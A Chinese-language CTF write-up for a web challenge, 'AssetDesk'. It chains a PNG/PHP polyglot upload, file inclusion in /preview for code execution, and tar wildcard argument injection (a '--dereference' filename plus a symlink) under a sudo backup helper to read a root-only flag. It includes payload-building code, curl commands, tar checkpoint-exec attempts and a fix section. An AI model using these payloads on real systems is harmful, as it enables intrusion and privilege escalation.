赛事档案库 YQHL Competition Archive 返回主站
WEB-03

AssetDesk 素材审阅台

图片马上传触发本地文件包含 RCE,再借 sudo tar 的通配符参数注入完成提权读 flag。

方向Web
难度 Hard
题号14 / 20
项目 内容
分类 / 难度 Web / Hard
类型 图片马上传 → 本地文件包含 RCE → sudo tar 通配符参数注入提权
入口 /upload + /preview
目标 读取 /flag(0600 root,www-data 直接不可读)

1. 界面观察

AssetDesk 是一个视觉素材审阅台:上传素材、预览素材、下载素材、下载备份。

GET  /                    工作台
POST /upload              上传素材(只接受图片)
GET  /preview?id=<8hex>   素材预览
GET  /download?id=<8hex>  素材下载
GET  /backup              下载最新备份 app-backup.tar.gz
GET  /ops/health          节点健康检查

2. 第一跳:上传校验只看图片头

/upload 的校验逻辑:

if (($f['size'] ?? PHP_INT_MAX) > 1024 * 1024) { page('文件过大', 400); }

$info = @getimagesize($f['tmp_name']);
if ($info === false) { page('仅接受有效图片。', 400); }

$allowedMimes = ['image/jpeg', 'image/png', 'image/webp'];
if (!in_array($info['mime'] ?? '', $allowedMimes, true)) { page('不支持的图片类型。', 400); }

$id = bin2hex(random_bytes(4));
$stored = UPLOAD_DIR . '/' . $id . '.dat';
if (!move_uploaded_file($f['tmp_name'], $stored)) { page('无法存储上传', 500); }

getimagesize() 只看文件头,后面的内容照样原样落盘。存成 .dat 后缀、放在 web root 之外 —— 单看这一步它是安全的。

3. 第二跳:/preview 把上传文件当 PHP 执行

上一步传上去的 .dat 文件在 web root 外面,直接 GET /uploads/xxx.dat 是 404,看上去这条路走不通。

但 /preview 不一样。先按正常用法访问一次 preview,注意响应是一个 <pre> 包着的内容块,说明服务端是把文件读出来再输出的。那就有个问题:如果它是在读文件内容,读的方式是什么?

拿最容易区分的一种情况试探——把 PHP 代码放进图片尾部:

<?php echo "P1\n"; ?>

重新传一张带这段尾巴的 PNG,再 preview:

P1

代码被执行了。 说明 /preview 不是 readfile() 而是 include,而 include 只按内容判断,不认扩展名——.dat 后缀挡不住。

再确认一次执行上下文:

<?php echo "P1\n"; system("id"); ?>
P1
uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE,身份 www-data。到这里第一跳(图片马)和第二跳(LFI-as-RCE)都通了。

构造 payload:一张最小的合法 PNG + 尾部 PHP 代码。

import struct, zlib

def png(w, h):
    def ck(t, d):
        c = t + d
        return struct.pack(">I", len(d)) + c + struct.pack(">I", zlib.crc32(c) & 0xffffffff)
    raw = b"".join(b"\x00" + b"\xff\x00\x00" * w for _ in range(h))
    return (b"\x89PNG\r\n\x1a\n"
            + ck(b"IHDR", struct.pack(">IIBBBBB", w, h, 8, 2, 0, 0, 0))
            + ck(b"IDAT", zlib.compress(raw))
            + ck(b"IEND", b""))

php = r'''<?php
echo "BEGIN\n";
system("id");
echo "DONE\n";
'''

open("shell.png", "wb").write(png(8, 8) + php.encode())

上传:

curl -F '[email protected];type=image/png' http://target/upload
# 资产 ID:<code>929cb870</code>

访问 preview:

curl 'http://target/preview?id=929cb870'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE 到手,身份 www-data。

注意 payload 里那个 echo "BEGIN\n" 不是装饰——<pre> 里 PNG 的二进制前导会污染输出,先打个标记方便定位。另外 ob_start() + ob_get_clean() 的输出后面还有一层基于 __YQHL_CMD_BEGIN__ 标记的截断逻辑,不打这个标记就什么都没了;打了标记反而正好命中截断点,输出更干净。

4. 第三跳:/flag 读不动,得提权

$ cat /flag
cat: /flag: Permission denied

/flag 是 0600 root,www-data 直接读不动。翻一下系统里有什么可用的:

$ ls -l /app /etc/sudoers.d /var/lib/app 2>/dev/null
-rwxr-xr-x 1 root root   /app/backup-helper
-r--r----- 1 root root   /etc/sudoers.d/yqhl-backup
drwx-wx-wx 1 root root   /var/lib/app/backupqueue

两个可疑点:一个 root 拥有的 helper,一份 sudoers 条目,还有一个权限是 733 的目录(www-data 在这个目录里能建文件、能删文件,但不能列目录)。

$ cat /app/backup-helper
#!/bin/bash
set -e

cd /var/lib/app/backupqueue
/usr/bin/tar -czf /var/backups/app-backup.tar.gz *
chmod 0644 /var/backups/app-backup.tar.gz
$ cat /etc/sudoers.d/yqhl-backup
www-data ALL=(root) NOPASSWD: /app/backup-helper

www-data 可以无密码以 root 跑这个脚本。而脚本里的 tar 写的是 tar -czf ... *——通配符展开后直接拼进命令行,没有 -- 分隔。

这就有了经典的通配符参数注入:目录里凡是 - 开头的文件,都会被 tar 当成选项。而那个 733 的目录,正好允许 www-data 往里面放文件。

4.1 关键限制:文件名不能含 /

这是我踩的最久的坑。--checkpoint-action=exec=cp /flag /var/backups/x 这种写法看起来最直接,但斜杠在文件名里非法:

touch -- '--checkpoint-action=exec=cp /flag /tmp/x'
# touch: cannot touch '--checkpoint-action=exec=cp /flag /tmp/x': No such file or directory

同理 ./runme、/bin/cat、../../.. 全部写不进文件名。所以要么命令自身不含斜杠,要么用别的手段让 tar 去读 /flag。

4.2 转用 --dereference + 软链

--dereference(tar 的 -h)让 tar 跟随符号链接取目标内容,而不是只记录链接本身。它不含斜杠,可以当文件名。

流程:

$q = "/var/lib/app/backupqueue";
foreach (@scandir($q) as $f) { if ($f !== '.' && $f !== '..') @unlink("$q/$f"); }

@symlink("/flag", "$q/flaglink");            // 指向 /flag 的软链
file_put_contents("$q/--dereference", "");   // 让 tar 跟随软链
file_put_contents("$q/pad.png", "P");        // 占位文件,避免 "空归档" 报错

system("/usr/bin/sudo -n /app/backup-helper 2>&1", $rc);

软链的目标路径写在 PHP 代码里,不受文件名限制;受限的只是文件名本身。

4.3 为什么必须走 web 而不是手工跑

手动以 www-data 身份跑 helper 会失败:

$ sudo -n -u www-data /app/backup-helper
/usr/bin/tar: flaglink: Cannot open: Permission denied

因为那时 tar 是 www-data,读不了 /flag。但通过 web 触发时,system() 里的 sudo -n /app/backup-helper 是按 sudoers 规则以 root 运行的 —— tar 有权限读 /flag,--dereference 就能把它打进归档。

5. 完整利用

Step 1:上传 RCE 图片马

# shell.png = PNG 头 + <?php ... ?>
curl -F '[email protected];type=image/png' http://target/upload
# -> 资产 ID: 929cb870

Step 2:通过 /preview 执行第二阶段 payload

图片马尾部放"重置 queue → 建软链 → 放 --dereference → 触发 root 备份":

<?php
$q = "/var/lib/app/backupqueue";
foreach (@scandir($q) as $f) { if ($f !== '.' && $f !== '..') @unlink("$q/$f"); }
@symlink("/flag", "$q/flaglink");
file_put_contents("$q/--dereference", "");
file_put_contents("$q/pad.png", "P");
system("/usr/bin/sudo -n /app/backup-helper 2>&1", $rc);
echo "rc=$rc\n";

访问 /preview?id=<id> 后,返回:

queue: --dereference|.|..|flaglink|pad.png
is_link: yes
rc=0
backup size: 196
DONE

backup size: 196 —— 比新建时明显变大,说明 /flag 的内容已经被打进去。

Step 3:下载备份取 flag

/backup 无鉴权,root 写出的归档是 0644:

curl -o backup.tgz http://target/backup
tar -xzf backup.tgz -C ./out
cat ./out/flaglink
flag{local_verify_w03}

6. 踩坑记录

现象 原因 解法
touch: cannot touch '--checkpoint-action=exec=cp /flag /tmp/x' 文件名不能含 / 改用不含斜杠的选项(--dereference),把路径写在 PHP 代码里
--checkpoint-action=exec=sh${IFS}runme → shrunme: not found tar 用 execve 直接执行,不经过 shell,${IFS} 不展开 别指望 shell 语法,用能被 PATH 解析的程序名
--checkpoint-action=exec=runme → runme: not found tar 的执行 PATH 是 /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin,不含当前目录 同上,或换方案
--checkpoint-action=exec=cp /flag ... → cp 跑完但备份里没有 cp 覆盖的是 app-backup.tar.gz 本身,随后被 tar 写回覆盖 目标文件不能是备份文件自身
手动 sudo -u www-data 跑 helper,Cannot open: Permission denied 手工运行时 tar 是 www-data,读不了 /flag 必须经 web → sudo → root
--checkpoint-action=exec 单写 → exec: unknown checkpoint action exec 后面必须跟命令 不是本题的路子
tar: Cowardly refusing to create an empty archive 目录里只有 -- 开头的文件,* 展开为空 塞一个正常文件(pad.png)占位
下载到的归档很小、里面没有 flaglink 内容 以为 --dereference 没生效 手工以 www-data 跑 helper 时 tar 也是 www-data,读不了 /flag,软链被跳过。必须经 web 触发 sudo 才是 root
想验证 /flag 内容但它是空的 本地起容器时没注入 flag 环境变量 题目环境由平台注入;本地复现时用 docker exec -u 0 手写一个已知内容进去

7. 漏洞成因与修复

成因

  1. 上传校验只看文件头(getimagesize),尾部可任意拼接代码,这是"图片马"的经典前提。
  2. include 了用户上传的文件。扩展名隔离(.dat + 目录在 web root 外)防的是"直接访问执行",防不住"被 include 执行"。这是本题的核心洞。
  3. tar -czf ... * 未做 -- 分隔,目录可写时形成通配符参数注入(wildcard injection)。这是 2019 年 WildWildWest 那类问题的翻版。
  4. backupqueue 权限 733,让低权限用户可以直接投放以 - 开头的文件名。
  5. /backup 无鉴权,进一步降低了取数据的门槛。
  6. /preview 的 ob_start + 输出过滤用标记截断,只处理"输出位置",不处理"根本不该执行"。

修复建议

  • 永不 include 用户上传的文件。预览应该走"解码图片 → 输出缩略图"的纯数据路径:imagecreatefrompng() + imagepng(),把上传内容当二进制读,绝不送进 PHP 解释器。
  • 上传落盘用随机名 + 显式扩展名(.png),并放在文件系统级别不可执行的位置;
  • tar 调用改成 /usr/bin/tar -czf out.tgz -- *(加 --),或干脆用 --null --files-from=- 从 stdin 读文件列表;更好的做法是 PHP 里枚举文件名后逐个传入,不经过 shell 通配;
  • backupqueue 目录权限收到 0700(仅 root 可写),低权限进程不应能往这里放文件;
  • /backup 加鉴权,或改为按任务 id 下载自己的归档;
  • 备份进程用最小权限运行,不要给 www-data 任何 (root) NOPASSWD 条目。

8. 小结

三跳:图片马(绕过图片校验)→ LFI-as-RCE(include 不看扩展名)→ tar 通配符注入 + sudo 提权(拿到 root 才能读 0600 的 flag)。

第三跳的唯一难点是"文件名不能含 /",逼着放弃 --checkpoint-action=exec=<带路径的命令>,转而去寻找只用一个不含斜杠的选项就能改变 tar 行为的方案 —— --dereference 配合预先建好的软链,正好满足。

Flag:flag{local_verify_w03}